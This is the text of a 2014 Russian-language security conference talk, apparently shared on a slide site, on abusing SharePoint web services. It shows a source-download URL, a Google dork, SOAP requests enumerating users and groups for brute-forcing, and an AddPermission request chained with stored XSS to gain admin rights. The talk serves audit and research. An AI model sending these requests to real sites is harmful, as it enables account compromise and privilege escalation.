Upload
defconrussia
View
129
Download
10
Embed Size (px)
DESCRIPTION
Мои последние исселодования показали, что у SharePoint есть определенное количество вэб сервисов, которые могут помочь аудитору собрать крайне полезную информацию с сайта (списки пользователей, групп, ролей и т д). Также данные сервисы, в комбинации с хранимыми XSS, могут быть использованы для вертикального повышения привилегий или предоставить информацию для компрометации доменных записей AD.
Citation preview
AUG 30, 2014
АЛЬТЕРНАТИВНОЕ ИСПОЛЬЗОВАНИЕ ВЭБ СЕРВИСОВ SHAREPOINT СО СТОРОНЫ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ
By George Lagoda
AUG 30, 2014
George Lagoda
PENTESTER
VULNERABILITY RESEARCHER
BUG HUNTER
WHITEHAT
DEFCON MOSCOW FOUNDER
3
ЧТО ПРЕПАРИРУЕМ ? 4
ОСНОВНЫЕ КОМПОНЕНТЫ SHAREPOINT
5
ВЕБ-ПРИЛОЖЕНИЯ для организации совместной работы
ФУНКЦИОНАЛЬНОСТЬ для создания веб-порталов
ПОИСК ИНФОРМАЦИИ в документах и информационных системах
УПРАВЛЕНИЕ РАБОЧИМИ ПРОЦЕССАМИ и содержимым масштаба предприятия
БИЗНЕС-АНАЛИЗ
6
Google hacking
ОБЩЕЕ ОПИСАНИЕ УЯЗВИМОСТЕЙ
ЗАКРЫТЫЕ ДЕТАЛИ
НЕБОЛЬШОЕ КОЛИЧЕСТВО ПУБЛИЧНЫХ ЭКСПЛОЙТОВ
УЯЗВИМОСТЬ ЗАГРУЗКИ ИСХОДНЫХ
КОДОВ ASPX СТРАНИЦ
7
• Работает только в SharePoint 2007
• Необходимо знать адрес конкретной страницы
• Основной интерес представляют страницы написанные
разработчиками сайта h-p://www.example.com/_layouts/download.aspx?SourceUrl=/Pages/Default.aspx&Source=h-p://www.example.com/Pages/Default.aspx&FldUrl=
ВЕБ-СЕРВИСЫ SHAREPOINT
8
GOOGLE HACK : “INURL: _VTI_BIN/SPSDISCO.ASPX”
ТОНКИЙ МОМЕНТ
9
/_vG_bin/
/_vG_bin/
СТАРЫЙ СПОСОБ ПЕРЕЧИСЛЕНИЯ ПОЛЬЗОВАТЕЛЕЙ
10 HTTPS://HOST/_LAYOUTS/USERDISP.ASPX?ID=1
НЕДОСТАТКИ СТАРОГО СПОСОБА
11
• Необходимо инкрементировать ID
• Не всегда есть доступ к просмотру
• Можно попасть в группу
• Самый большой ID не известен
• NTLM или Kerberos авторизация при автоматизации
• Парсинг данных при автоматизации
• Что делать если их “over 9000”?????
ОТ ТЕОРИИ К ПРАКТИКЕ
12
POST /sites/testsite1/_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserCollectionFromSite xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
12
13 13
8000+ пользователей
одним запросом
14 14
GREP “TEST”
15
МНОГО ДОМЕНОВ, МНОГО ПОЛЬЗОВАТЕЛЕЙ, МНОГО ВОЗМОЖНОСТЕЙ
15
DUMMY BRUTE LEADS TO PWN
16
• Захвачена тестовая доменная учетная запись
• Повышена сложность обнаружения злоумышленника
• Разные тестовые учетные записи могут содержать разные
права доступа к сайту
• Приведен пример из боевого проекта, получен аккаунт из
домена крупного российского банка
16
DEER HUNTING
17
Для поиска интересного аккаунта помимо тестового
перечисляем список групп и узнаем в какой группе
находится наша “жертва”
17
ПОЛУЧАЕМ СПИСОК ГРУПП
18
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromSite xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
18
список групп на разных сайтах
в рамках одного домена может
различаться
19 19
ИНТЕРЕСЕН ЛИ НАМ АККАУНТ?
20
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromUser xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/">
<userLoginName>SHAREPOINT\system</userLoginName>
</GetGroupCollectionFromUser>
</soap:Body>
</soap:Envelope>
20
21 21
НАХОДИШЬ ХРАНИМЫЕ XSS НА ЛЮБОМ САЙТЕ?
ИНТЕРЕСНО ЛИ КРАСТЬ АДМИНСКИЕ КУКИ?
МОЖЕМ ЛИ МЫ ИХ УКРАСТЬ?
ЗАЧЕМ КРАСТЬ СЕССИЮ АДМИНА, КОГДА
МОЖНО СТАТЬ АДМИНОМ?
22
/_vti_bin/Permissions.asmx
23
Сайт + хранимая XSS + XHR с одним из этих методов +
CORS нам не мешает = разрешения админа )
23
ИГРАЕМ С РАЗРЕШЕНИЯМИ
24
POST /_vti_bin/Permissions.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://
schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPermission xmlns="http://schemas.microsoft.com/sharepoint/soap/
directory/">
<objectName>testsite1</objectName>
<objectType>web</objectType>
<permissionIdentifier>i:0#.w|ra1d3n\test3</permissionIdentifier>
<permissionType>User</permissionType>
<permissionMask>-1</permissionMask>
</AddPermission>
</soap:Body>
</soap:Envelope>
24
THAT’S ALL FOLKS ;]
By George Lagoda
@rox41Id3n